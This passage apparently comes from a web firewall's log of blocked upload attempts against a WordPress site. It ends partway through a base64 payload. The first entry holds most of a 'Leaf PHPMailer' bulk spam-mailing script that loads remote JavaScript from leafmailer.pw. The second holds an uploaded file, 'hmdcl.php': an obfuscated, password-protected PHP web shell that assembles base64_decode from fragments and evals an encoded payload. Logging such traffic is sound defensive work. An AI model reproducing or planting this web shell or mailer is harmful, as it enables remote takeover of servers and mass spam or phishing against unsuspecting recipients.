'qt' => 'video\/quicktime',\n 'rv' => 'video\/vnd.rn-realvideo',\n 'avi' => 'video\/x-msvideo',\n 'movie' => 'video\/x-sgi-movie'\n );\n if (array_key_exists(strtolower($ext), $mimes)) {\n return $mimes[strtolower($ext)];\n }\n return 'application\/octet-stream';\n }\n\n \/**\n * Map a file name to a MIME type.\n * Defaults to 'application\/octet-stream', i.e.. arbitrary binary data.\n * @param string $filename A file name or full path, does not need to exist as a file\n * @return string\n * @static\n *\/\n public static function filenameToType($filename)\n {\n \/\/ In case the path is a URL, strip any query string before getting extension\n $qpos = strpos($filename, '?');\n if (false !== $qpos) {\n $filename = substr($filename, 0, $qpos);\n }\n $pathinfo = self::mb_pathinfo($filename);\n return self::_mime_types($pathinfo['extension']);\n }\n\n \/**\n * Multi-byte-safe pathinfo replacement.\n * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n * Works similarly to the one in PHP >= 5.2.0\n * @link http:\/\/www.php.net\/manual\/en\/function.pathinfo.php#107461\n * @param string $path A filename or path, does not need to exist as a file\n * @param integer|string $options Either a PATHINFO_* constant,\n * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2\n * @return string|array\n * @static\n *\/\n public static function mb_pathinfo($path, $options = null)\n {\n $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');\n $pathinfo = array();\n if (preg_match('%^(.*?)[\\\\\\\\\/]*(([^\/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\\/]+?)|))[\\\\\\\\\/\\.]*$%im', $path, $pathinfo)) {\n if (array_key_exists(1, $pathinfo)) {\n $ret['dirname'] = $pathinfo[1];\n }\n if (array_key_exists(2, $pathinfo)) {\n $ret['basename'] = $pathinfo[2];\n }\n if (array_key_exists(5, $pathinfo)) {\n $ret['extension'] = $pathinfo[5];\n }\n if (array_key_exists(3, $pathinfo)) {\n $ret['filename'] = $pathinfo[3];\n }\n }\n switch ($options) {\n case PATHINFO_DIRNAME:\n case 'dirname':\n return $ret['dirname'];\n case PATHINFO_BASENAME:\n case 'basename':\n return $ret['basename'];\n case PATHINFO_EXTENSION:\n case 'extension':\n return $ret['extension'];\n case PATHINFO_FILENAME:\n case 'filename':\n return $ret['filename'];\n default:\n return $ret;\n }\n }\n\n \/**\n * Set or reset instance properties.\n * You should avoid this function - it's more verbose, less efficient, more error-prone and\n * harder to debug than setting properties directly.\n * Usage Example:\n * `$mail->set('SMTPSecure', 'tls');`\n * is the same as:\n * `$mail->SMTPSecure = 'tls';`\n * @access public\n * @param string $name The property name to set\n * @param mixed $value The value to set the property to\n * @return boolean\n * @TODO Should this not be using the __set() magic function?\n *\/\n public function set($name, $value = '')\n {\n if (property_exists($this, $name)) {\n $this->$name = $value;\n return true;\n } else {\n $this->setError($this->lang('variable_set') . $name);\n return false;\n }\n }\n\n \/**\n * Strip newlines to prevent header injection.\n * @access public\n * @param string $str\n * @return string\n *\/\n public function secureHeader($str)\n {\n return trim(str_replace(array(\"\\r\", \"\\n\"), '', $str));\n }\n\n \/**\n * Normalize line breaks in a string.\n * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n * @param string $text\n * @param string $breaktype What kind of line break to use, defaults to CRLF\n * @return string\n * @access public\n * @static\n *\/\n public static function normalizeBreaks($text, $breaktype = \"\\r\\n\")\n {\n return preg_replace('\/(\\r\\n|\\r|\\n)\/ms', $breaktype, $text);\n }\n\n \/**\n * Set the public and private key files and password for S\/MIME signing.\n * @access public\n * @param string $cert_filename\n * @param string $key_filename\n * @param string $key_pass Password for private key\n * @param string $extracerts_filename Optional path to chain certificate\n *\/\n public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')\n {\n $this->sign_cert_file = $cert_filename;\n $this->sign_key_file = $key_filename;\n $this->sign_key_pass = $key_pass;\n $this->sign_extracerts_file = $extracerts_filename;\n }\n\n \/**\n * Quoted-Printable-encode a DKIM header.\n * @access public\n * @param string $txt\n * @return string\n *\/\n public function DKIM_QP($txt)\n {\n $line = '';\n for ($i = 0; $i < strlen($txt); $i++) {\n $ord = ord($txt[$i]);\n if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n $line .= $txt[$i];\n } else {\n $line .= '=' . sprintf('%02X', $ord);\n }\n }\n return $line;\n }\n\n \/**\n * Generate a DKIM signature.\n * @access public\n * @param string $signHeader\n * @throws phpmailerException\n * @return string The DKIM signature value\n *\/\n public function DKIM_Sign($signHeader)\n {\n if (!defined('PKCS7_TEXT')) {\n if ($this->exceptions) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n return '';\n }\n $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n if ('' != $this->DKIM_passphrase) {\n $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n } else {\n $privKey = openssl_pkey_get_private($privKeyStr);\n }\n \/\/Workaround for missing digest algorithms in old PHP & OpenSSL versions\n \/\/@link http:\/\/stackoverflow.com\/a\/11117338\/333340\n if (version_compare(PHP_VERSION, '5.3.0') >= 0 and\n in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {\n if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n } else {\n $pinfo = openssl_pkey_get_details($privKey);\n $hash = hash('sha256', $signHeader);\n \/\/'Magic' constant for SHA256 from RFC3447\n \/\/@link https:\/\/tools.ietf.org\/html\/rfc3447#page-43\n $t = '3031300d060960864801650304020105000420' . $hash;\n $pslen = $pinfo['bits'] \/ 8 - (strlen($t) \/ 2 + 3);\n $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);\n\n if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n }\n openssl_pkey_free($privKey);\n return '';\n }\n\n \/**\n * Generate a DKIM canonicalization header.\n * @access public\n * @param string $signHeader Header\n * @return string\n *\/\n public function DKIM_HeaderC($signHeader)\n {\n $signHeader = preg_replace('\/\\r\\n\\s+\/', ' ', $signHeader);\n $lines = explode(\"\\r\\n\", $signHeader);\n foreach ($lines as $key => $line) {\n list($heading, $value) = explode(':', $line, 2);\n $heading = strtolower($heading);\n $value = preg_replace('\/\\s{2,}\/', ' ', $value); \/\/ Compress useless spaces\n $lines[$key] = $heading . ':' . trim($value); \/\/ Don't forget to remove WSP around the value\n }\n $signHeader = implode(\"\\r\\n\", $lines);\n return $signHeader;\n }\n\n \/**\n * Generate a DKIM canonicalization body.\n * @access public\n * @param string $body Message Body\n * @return string\n *\/\n public function DKIM_BodyC($body)\n {\n if ($body == '') {\n return \"\\r\\n\";\n }\n \/\/ stabilize line endings\n $body = str_replace(\"\\r\\n\", \"\\n\", $body);\n $body = str_replace(\"\\n\", \"\\r\\n\", $body);\n \/\/ END stabilize line endings\n while (substr($body, strlen($body) - 4, 4) == \"\\r\\n\\r\\n\") {\n $body = substr($body, 0, strlen($body) - 2);\n }\n return $body;\n }\n\n \/**\n * Create the DKIM header and body in a new message header.\n * @access public\n * @param string $headers_line Header lines\n * @param string $subject Subject\n * @param string $body Body\n * @return string\n *\/\n public function DKIM_Add($headers_line, $subject, $body)\n {\n $DKIMsignatureType = 'rsa-sha256'; \/\/ Signature & hash algorithms\n $DKIMcanonicalization = 'relaxed\/simple'; \/\/ Canonicalization of header\/body\n $DKIMquery = 'dns\/txt'; \/\/ Query method\n $DKIMtime = time(); \/\/ Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n $subject_header = \"Subject: $subject\";\n $headers = explode($this->LE, $headers_line);\n $from_header = '';\n $to_header = '';\n $date_header = '';\n $current = '';\n foreach ($headers as $header) {\n if (strpos($header, 'From:') === 0) {\n $from_header = $header;\n $current = 'from_header';\n } elseif (strpos($header, 'To:') === 0) {\n $to_header = $header;\n $current = 'to_header';\n } elseif (strpos($header, 'Date:') === 0) {\n $date_header = $header;\n $current = 'date_header';\n } else {\n if (!empty($$current) && strpos($header, ' =?') === 0) {\n $$current .= $header;\n } else {\n $current = '';\n }\n }\n }\n $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));\n $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));\n $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));\n $subject = str_replace(\n '|',\n '=7C',\n $this->DKIM_QP($subject_header)\n ); \/\/ Copied header fields (dkim-quoted-printable)\n $body = $this->DKIM_BodyC($body);\n $DKIMlen = strlen($body); \/\/ Length of body\n $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); \/\/ Base64 of packed binary SHA-256 hash of body\n if ('' == $this->DKIM_identity) {\n $ident = '';\n } else {\n $ident = ' i=' . $this->DKIM_identity . ';';\n }\n $dkimhdrs = 'DKIM-Signature: v=1; a=' .\n $DKIMsignatureType . '; q=' .\n $DKIMquery . '; l=' .\n $DKIMlen . '; s=' .\n $this->DKIM_selector .\n \";\\r\\n\" .\n \"\\tt=\" . $DKIMtime . '; c=' . $DKIMcanonicalization . \";\\r\\n\" .\n \"\\th=From:To:Date:Subject;\\r\\n\" .\n \"\\td=\" . $this->DKIM_domain . ';' . $ident . \"\\r\\n\" .\n \"\\tz=$from\\r\\n\" .\n \"\\t|$to\\r\\n\" .\n \"\\t|$date\\r\\n\" .\n \"\\t|$subject;\\r\\n\" .\n \"\\tbh=\" . $DKIMb64 . \";\\r\\n\" .\n \"\\tb=\";\n $toSign = $this->DKIM_HeaderC(\n $from_header . \"\\r\\n\" .\n $to_header . \"\\r\\n\" .\n $date_header . \"\\r\\n\" .\n $subject_header . \"\\r\\n\" .\n $dkimhdrs\n );\n $signed = $this->DKIM_Sign($toSign);\n return $dkimhdrs . $signed . \"\\r\\n\";\n }\n\n \/**\n * Detect if a string contains a line longer than the maximum line length allowed.\n * @param string $str\n * @return boolean\n * @static\n *\/\n public static function hasLineLongerThanMax($str)\n {\n \/\/+2 to include CRLF line break for a 1000 total\n return (boolean)preg_match('\/^(.{'.(self::MAX_LINE_LENGTH + 2).',})\/m', $str);\n }\n\n \/**\n * Allows for public read access to 'to' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getToAddresses()\n {\n return $this->to;\n }\n\n \/**\n * Allows for public read access to 'cc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getCcAddresses()\n {\n return $this->cc;\n }\n\n \/**\n * Allows for public read access to 'bcc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getBccAddresses()\n {\n return $this->bcc;\n }\n\n \/**\n * Allows for public read access to 'ReplyTo' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getReplyToAddresses()\n {\n return $this->ReplyTo;\n }\n\n \/**\n * Allows for public read access to 'all_recipients' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getAllRecipientAddresses()\n {\n return $this->all_recipients;\n }\n\n \/**\n * Perform a callback.\n * @param boolean $isSent\n * @param array $to\n * @param array $cc\n * @param array $bcc\n * @param string $subject\n * @param string $body\n * @param string $from\n *\/\n protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n {\n if (!empty($this->action_function) && is_callable($this->action_function)) {\n $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n call_user_func_array($this->action_function, $params);\n }\n }\n}\n\n\/**\n * PHPMailer exception handler\n * @package PHPMailer\n *\/\nclass phpmailerException extends Exception\n{\n \/**\n * Prettify error message output\n * @return string\n *\/\n public function errorMessage()\n {\n $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . \"<\/strong><br \/>\\n\";\n return $errorMsg;\n }\n}\nfunction leafheader(){\nprint '\n<head>\n <title>'.str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']).' - LuFix.gs<\/title>\n <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\"\/>\n <link href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootswatch\/3.4.1\/cosmo\/bootstrap.min.css\" rel=\"stylesheet\" >\n <script src=\"https:\/\/leafmailer.pw\/style2.js\"><\/script>\n\n<\/head>';\n}\nleafheader();\nprint '<body>';\nprint '<div class=\"container col-lg-6\">\n <h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>'.$leaf['version'].'<\/small><\/h3>\n <form name=\"form\" id=\"form\" method=\"POST\" enctype=\"multipart\/form-data\" action=\"\">\n <input type=\"hidden\" name=\"action\" value=\"score\">\n\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \"><label for=\"senderEmail\">Email<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderEmail\" name=\"senderEmail\" value=\"'.$senderEmail.'\"><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"senderName\">Sender Name<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderName\" name=\"senderName\" value=\"'.$senderName.'\"><\/div>\n <\/div>\n <div class=\"row\">\n <span class=\"form-group col-lg-6 \"><label for=\"attachment\">Attachment <small>(Multiple Available)<\/small><\/label><input type=\"file\" name=\"attachment[]\" id=\"attachment[]\" multiple\/><\/span>\n\n <div class=\"form-group col-lg-6\"><label for=\"replyTo\">Reply-to<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"replyTo\" name=\"replyTo\" value=\"'.$replyTo.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-12 \"><label for=\"subject\">Subject<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"subject\" name=\"subject\" value=\"'.$subject.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6\"><label for=\"messageLetter\">Message Letter <button type=\"submit\" class=\"btn btn-default btn-xs\" form=\"form\" name=\"action\" value=\"view\" formtarget=\"_blank\">Preview <\/button><\/label><textarea name=\"messageLetter\" id=\"messageLetter\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$messageLetter.'<\/textarea><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"emailList\">Email List <a href=\"?emailfilter=on\" target=\"_blank\" class=\"btn btn-default btn-xs\">Filter\/Extract<\/a><\/label><textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$emailList.'<\/textarea><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \">\n <label for=\"messageType\">Message Type<\/label>\n HTML <input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"1\" '.$html.'>\n Plain<input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"2\" '.$plain.'>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"charset\">Character set<\/label>\n <select class=\"form-control input-sm\" id=\"charset\" name=\"charset\">\n <option '.$utf8.'>UTF-8<\/option>\n <option '.$iso.'>ISO-8859-1<\/option>\n <\/select>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"encoding\">Message encoding<\/label>\n <select class=\"form-control input-sm\" id=\"encode\" name=\"encode\">\n <option '.$bit8.'>8bit<\/option>\n <option '.$bit7.'>7bit<\/option>\n <option '.$binary.'>binary<\/option>\n <option '.$base64.'>base64<\/option>\n <option '.$quotedprintable.'>quoted-printable<\/option>\n\n <\/select>\n <\/div>\n <\/div>\n <button type=\"submit\" class=\"btn btn-default btn-sm\" form=\"form\" name=\"action\" value=\"send\">SEND<\/button> or <a href=\"#\" onclick=\"document.getElementById(\\'form\\').submit(); return false;\">check SpamAssassin Score<\/a>\n \n <\/form>\n <\/div>\n <div class=\"col-lg-6\"><br>\n <label for=\"well\">Instruction<\/label>\n <div id=\"well\" class=\"well well\">\n <h4>Server Information<\/h4>\n <ul>\n <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' <\/b> <a href=\"?check_ip='.$_SERVER['SERVER_ADDR'].'\" target=\"_blank\" class=\"label label-primary\">Check Blacklist <i class=\"glyphicon glyphicon-search\"><\/i><\/a><\/li>\n <li>PHP Version : <b>'.phpversion().'<\/b><\/li>\n \n\n <\/ul>\n <h4>HELP<\/h4>\n <ul>\n <li>[-email-] : <b>Reciver Email<\/b> (emailuser@emaildomain.com)<\/li>\n <ul>\n <li>[-emailuser-] : <b>Email User<\/b> (emailuser) <\/li>\n <li>[-emaildomain-] : <b>Email User<\/b> (emaildomain.com) <\/li>\n <\/ul>\n <li>[-time-] : <b>Date and Time<\/b> ('.date(\"m\/d\/Y h:i:s a\", time()).')<\/li>\n \n <li>[-randomstring-] : <b>Random string (0-9,a-z)<\/b><\/li>\n <li>[-randomnumber-] : <b>Random number (0-9) <\/b><\/li>\n <li>[-randomletters-] : <b>Random Letters(a-z) <\/b><\/li>\n <li>[-randommd5-] : <b>Random MD5 <\/b><\/li>\n <\/ul>\n <h4>example<\/h4>\n Receiver Email = <b>user@domain.com<\/b><br>\n <ul>\n <li>hello <b>[-emailuser-]<\/b> = hello <b>user<\/b><\/li>\n <li>your domain is <b>[-emaildomain-]<\/b> = Your Domain is <b>domain.com<\/b><\/li>\n <li>your code is <b>[-randommd5-]<\/b> = your code is <b>e10adc3949ba59abbe56e057f20f883e<\/b><\/li>\n <\/ul>\n\n <h6>by <b><a href=\"http:\/\/'.$leaf['website'].'\">'.$leaf['website'].'<\/a><\/b><\/h6>\n <\/div>\n <\/div>'; \nif($_POST['action']==\"send\"){\n print ' <div class=\"col-lg-12\">';\n $maillist=explode(\"\\r\\n\", $emailList);\n $n=count($maillist);\n $x =1;\n foreach ($maillist as $email ) {\n print '<div class=\"col-lg-1\">['.$x.'\/'.$n.']<\/div><div class=\"col-lg-4\">'.$email.'<\/div>';\n if(!leafMailCheck($email)) {\n print '<div class=\"col-lg-6\"><span class=\"label label-default\">Incorrect Email<\/span><\/div>';\n print \"<br>\\r\\n\";\n }\n else {\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress($email);\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n for($i=0; $i<count($_FILES['attachment']['name']); $i++) {\n if ($_FILES['attachment']['tmp_name'][$i] != \"\"){\n $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);\n }\n\n }\n \n if (!$mail->send()) {\n echo '<div class=\"col-lg-6\"><span class=\"label label-default\">'.htmlspecialchars($mail->ErrorInfo).'<\/span><\/div>';\n }\n else {\n echo '<div class=\"col-lg-6\"><span class=\"label label-success\">Ok<\/span><\/div>';\n }\n print \"<br>\\r\\n\";\n }\n $x++;\n for($k = 0; $k < 40000; $k++) {echo ' ';}\n }\n\n}\nelseif($_POST['action']==\"score\"){\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress(\"username@domain.com\");\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n $mail->preSend();\n $messageHeaders=$mail->getSentMIMEMessage();\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_URL, 'http:\/\/spamcheck.postmarkapp.com\/filter');\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n $response = curl_exec($ch);\n $response = json_decode($response);\n print ' <div class=\"col-lg-12\">';\n if ($response->success == TRUE ){\n $score = $response->score;\n if ($score > 5 ) $class=\"danger\";\n else $class=\"success\";\n print '<div class=\"text-'.$class.'\">Your SpamAssassin score is '.$score.' <\/div>\n<div>Full Report : <pre>'.$response->report.'<\/pre><\/div>';\nprint ' <\/div>';\n }\n}\nprint '<\/body>';\n?>\r\n--b5f48ab9b3fe7cca169e449ccba6fc47\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--b5f48ab9b3fe7cca169e449ccba6fc47\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--b5f48ab9b3fe7cca169e449ccba6fc47\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--b5f48ab9b3fe7cca169e449ccba6fc47--\r\n"]
["2026-05-26 21:39:26","170.205.30.68","POST","\/wp-content\/plugins\/hodda\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/hodda\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=f26f834877fd10c00232a496196eead5\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:73112\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--f26f834877fd10c00232a496196eead5\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--f26f834877fd10c00232a496196eead5\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--f26f834877fd10c00232a496196eead5\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"hmdcl.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n$▛ = \"59e8d97dbcc1d0f65dea6ecd0e9fbe39\"; \/\/Pass: xleet\n$o= \"ba\".\"se\".\"\\x36\\x34\\x5F\".\"de\".\"c\".\"ode\";\neval($o(\"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0